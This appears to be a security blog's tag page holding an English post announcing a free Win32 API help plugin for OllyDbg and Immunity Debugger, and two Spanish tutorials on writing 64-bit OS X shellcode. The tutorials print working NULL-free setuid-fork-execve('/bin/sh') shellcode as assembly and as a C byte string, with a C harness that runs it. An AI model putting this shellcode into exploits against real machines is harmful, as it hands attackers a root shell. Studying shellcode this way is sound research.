Posts Tagged ‘shellcodes’

MSDN Help Plugin for OllyDbg / Immunity Debugger

Hello everone. Today I’m showing you a new plugin for OllyDbg / Immunuty Debugger that I hope will help you when reversing Windows binaries.

What is OllyDbg?

OllyDbg is a classic user-mode debugger for the Windows operating system. According to many, it’s the idea tool for reverse engineering software when you’re not likely to get a hold of the source code (malware, for example), and it’s also widely used in the cracking scene.

One of its most appealing features is the possibility of loading plugins. While most of them are geared towards binary unpacking and avoiding detection from malicious code, there are plugins readily available for a multitude of tasks.

What is Immunity Debugger?

After many years went by, no updates were available. That meant no fixes for the multiple public exploits available on the Internet. That’s until Immunity decided to buy the source codes to OllyDbg in order to fix and improve it, under the new name Immunity Debugger. Today it seems to be mostly replacing the good old Olly, especially when it comes to exploit development which is where the focus is set for most of the new features and plugins.

So what’s the catch? Well, it turns out most of old Olly’s plugins don’t work anymore. However, if you have their sources you can update them, even make them work in both debuggers. If you don’t things get a bit hairy, although there’s a tool out there that helps quite a lot.
Today’s plugin works correctly under both debuggers, of course. :)

What’s this plugin for?

OllyDbg has been around for some time now, and it’s beginning to show its age. ;) One of it’s low points right now is it’s (rather lack of) Win32 API help support.

I’ll explain. When you’re reversing a binary on Windows you’ll tipically see a bunch of assembly code with Win32 API calls in between. The Win32 API is the low level interface for user-mode applications, so deep down inside, it all boils down to these function calls. There are simply too many of them and it’s impossible to memorize them all, so it’s necessary to consult the Microsoft documentation to know what they do, what arguments they expect, etc.

Now, OllyDbg had always allowed you to consult the documentation thanks to a nifty file called “WIN32.HLP” that was shipped with the SDK for Windows NT, and it contained the most up to date and detailed version… back then. But many OS versions and years went by, Microsoft stopped shipping that file since the new MSDN (Microsoft Developer Network) was all the rage, and what happens now when you try to use the OllyDbg help is that half the times the API you’re looking for doesn’t show up in the help file. :(

This plugin is meant to fill that void. After installing it, when OllyDbg tries to open WIN32.HLP to show the help, the plugin steps in and launches the default web browser instead, pointing it to the corresponding page in MSDN Online. :)

How to install this plugin?

It’s easy, just download the zip file, extract the plugin (OllyMSDN.dll) and copy it to the debugger’s program files folder. For OllyDbg this is tipically “C:Program FilesOllyDbg” and for Immunity Debugger it’s “C:Program FilesImmunity IncImmunity Debugger”.

The next step is to run the debugger, go to the menu “Help” and click on “Select API help file”. Then we have to select the old WIN32.HLP file, or at least any other file as long as it has the exact same name (it’s not going to be used anyway). The name matters because it’s the way the plugin can tell Olly is trying to load the Win32 API help and not just any other help file like, say, the user manual.

Once you’ve done this, the plugin is ready to use.

How to use this plugin?

It’s used just like the good old WIN32.HLP file. That is:

To show the Microsoft documentation, go to the “Help” menu and click on “Open API help file”.

To see the help for an API call in particular, right click on the assembly code line with the function call in the CPU pane and go to “Help on symbolic name”.

Where do I get this plugin?

You can purchase it online with your credit card… nah, no way! It’s 100% free of course! :)

Follow this link to download: OllyMSDN.zip

The zip file contains the precompiled Windows binary and the complete source code under GPL v2 license. The sources compile with Visual Studio 2008, I haven’t tried other compilers.

Well, that’s it for today. Enjoy! :)


Follow me on Twitter: @Mario_Vilas | Linkedin: http://es.linkedin.com/in/mariovilas

Probando nuestra shellcode en OSX Lion

Ahora que se ha publicado OSX Lion (10.7) hemos decidido probar nuestras shellcodes preparadas para Snow Leopard en 64bits sin cambiar ni un solo opcode. :-)

El resultado es el esperado, las shellcodes se ejecutan sin problemas (cuidado con el stack-protector)

Pero en el proceso nos hemos encontrado un par de cosas curiosas.

Por un lado ya no es necesario crear un section .data y rellenar unos bytes para saltarnos el dyld y así ejecutar un binario estático sin linkar contra libSystem.B

Esto se debe a una serie de cambios muy profundos en dyld y libSystem.B

Uno de los más apreciables, es que ya no se definen las syscall en libSystem.B

Kana:~ capi_x$ otool -p _write -tVv /usr/lib/libSystem.B.dylib 
/usr/lib/libSystem.B.dylib:
(__TEXT,__text) section
Can't find -p symbol: _write

Y si descompilamos toda la lib y buscamos por referencias a “write”…

Kana:~ capi_x$ otool -tVv /usr/lib/libSystem.B.dylib | grep write
R8289209$_write:
00000000000142cf    jmp    0x0001441e    ; symbol stub for: _write

Ok, tenemos un símbolo definido de write, pero ni rastro de ella, busquemos contra qué está linkada ahora libSystem.B

Kana:~ capi_x$ otool -L /usr/lib/libSystem.B.dylib
/usr/lib/libSystem.B.dylib:
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.0.0)
	/usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
	/usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
	[...]

He recortado la salida ya que es bastante larga, pero se aprecian muchas (y muy interesantes) nuevas librerías que investigaremos a fondo, de momento nos centraremos en las syscall.

Una de las librerías linkadas es “/usr/lib/system/libsystem_kernel.dylib” que efectivamente, contiene las syscall que estamos buscando. :-)

Kana:~ capi_x$ otool -p _write -tVv /usr/lib/system/libsystem_kernel.dylib | head -6 | tail -3
0000000000017fd4    movl    $0x02000004,%eax
0000000000017fd9    movq    %rcx,%r10
0000000000017fdc    syscall

Como se aprecia, las syscall no han variado, así que nuestras shellcodes para Snow Leopard en 64bits deberían funcionar a la primera.

Kana:~ capi_x$ cat shell64-2.s
mov  eax, 0xfa8888a0
add  eax, 0x07777777
xor  rdi, rdi
syscall    # setuid
mov  eax, 0xfa88888b
add  eax, 0x07777777
syscall    # fork
mov  eax, 0xfa888a19
add  eax, 0x07777777
xor  rdx, rdx
xor  rsi, rsi
syscall    # wait4
mov  eax, 0xfa8888c4
add  eax, 0x07777777
mov  rdi, 0x68732f2f6e69622f
push rsi
push rdi
mov  rdi, rsp
syscall    # execve

Esta vez veremos un método muy cómodo para tener directamente nuestros opcodes en formato C listos para usar. ¡Copia y pega al poder! :D

Kana:~ capi_x$ rasm2 -f shell64-2.s -b 64 -s intel -C
"xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa" 
"x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2" 
"x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69" 
"x6ex2fx2fx73x68x56x57x48x89xe7x0fx05"

Y para probarla, podemos hacerlo también desde radare2 mediante el combo rasm2/rasc2.

Kana:~ capi_x$ rasm2 -b 64 -s intel -f shell64-2.s 
b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05
Kana:~ capi_x$ rasc2 -s "b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05" -X
bash-3.2$

Como podéis ver usando radare2 hacemos nuestra vida un poco mas fácil! ;)


Por otro lado, para probar nuestra shellcode también podeís hacerlo con un programita standalone. Os paso un código C que hace un mprotect ya que OSX en 64bits tiene DEP.

/* NULL free shellcode for OSX 64bits: setuid-fork-wait-execve-binsh
 * Jose Ramon Villa (c) <jrvilla(AT)buguroo.com> <capi_x(AT)badchecksum.net> <twitter: @capi_x> */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <string.h>

char shellcode[] = "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa" 
"x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2" 
"x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69" 
"x6ex2fx2fx73x68x56x57x48x89xe7x0fx05";

int main() {
        char *sc = malloc(4096);
        memcpy(sc,shellcode,sizeof(shellcode));

        mprotect(sc, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
        (*(void  (*)()) sc )();

        free(sc);
        return(0);
}

Happy Hacking!

“No user serviceable parts included.”

Cocinando shellcodes sin morir en el intento (64 bits)

Como vimos en la entrega anterior de nuestro programa de cocina, ahora le toca el turno a los 64 bits.

Predecimos que en 64 bits los parámetros van como en FreeBSD y usando syscall. Hasta aquí todo bien… Al meollo!

Nuestro famoso “hola nenas”, esta vez un tanto diferente, que así entra en un registro :-D

section .text
global _start
_start:
mov     rax, 4
mov     rdi, 1
mov     rsi, 0x707574696c6c610a
mov     rdx, 8
syscall
mov     rax, 1
xor	    rdi, rdi
syscall
Mustang:64 capi_x$ yasm -f macho64 hello.s -o hello64.o
Mustang:64 capi_x$ ld -static -arch x86_64 -e _start hello64.o -o hello64
Mustang:64 capi_x$ ./hello64
Bus error

Vaya… con lo bonito que pintaba… :)
Pues nada, pasito a pasito.

Creamos un C semejante y lo desensamblamos.

int main() {
write(1,"Hola OSX\n",9);
}

El desensamblado nos muestra lo siguiente:

0000000100000f04	pushq	%rbp
0000000100000f05	movq	%rsp,%rbp
0000000100000f08	movl	$0x00000009,%edx
0000000100000f0d	leaq	0x00000042(%rip),%rsi
0000000100000f14	movl	$0x00000001,%edi
0000000100000f19	movl	$0x00000000,%eax
0000000100000f1e	callq	0x00000f2c
0000000100000f23	leave
0000000100000f24	ret

Por lo que parece usa alguna librería dinámica; si la desensamblamos, es posible que veamos como realiza las syscalls :-P

Mustang:64 capi_x$ otool -L hello
hello:
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.1)

Perfecto, ahora a desensamblar la rutina _write de la librería diámica.

Mustang:64 capi_x$ otool -p _write -t -v -V /usr/lib/libSystem.B.dylib | head -6 | tail -3
00000000000137c8	movl	$0x02000004,%eax
00000000000137cd	movq	%rcx,%r10
00000000000137d0	syscall

Como se puede observar, las syscall se realizan de forma diferente que en 32bits.
De esta forma, he construido la siguiente shellcode, la forma común y corriente :-)

BITS 64
section .data
msg	dd	'0wn3d'
section .text
global _start
_start:
mov  eax, 0xfa8888a0
add  eax, 0x07777777
;mov  eax, 0x2000017
xor  rdi, rdi
syscall    ; setuid(0)
mov  eax, 0xfa88888b
add  eax, 0x07777777
;mov  eax, 0x2000002
syscall    ; fork(0)
mov  eax, 0xfa888a19
add  eax, 0x07777777
;mov  eax, 0x2000190
xor  rdx, rdx
xor  rsi, rsi
syscall     ; wait4(0)
mov  eax, 0xfa8888c4
add  eax, 0x07777777
;mov  eax, 0x200003b
mov  rdi, 0x68732f2f6e69622f
push rsi
push rdi
mov  rdi, rsp
syscall    ; execve()

( Por cierto, lo de la sección data es muy curioso, algún día de estos lo explico )
Para compilarla, también se puede usar “yasm” de la siguiente forma:

yasm -f macho64 forkexecve64.s -o forkexecve64.o
ld -e _start -arch x86_64 -static forkexecve64.o -o forkexecve64

Happy Hacking!

“No user serviceable parts included.”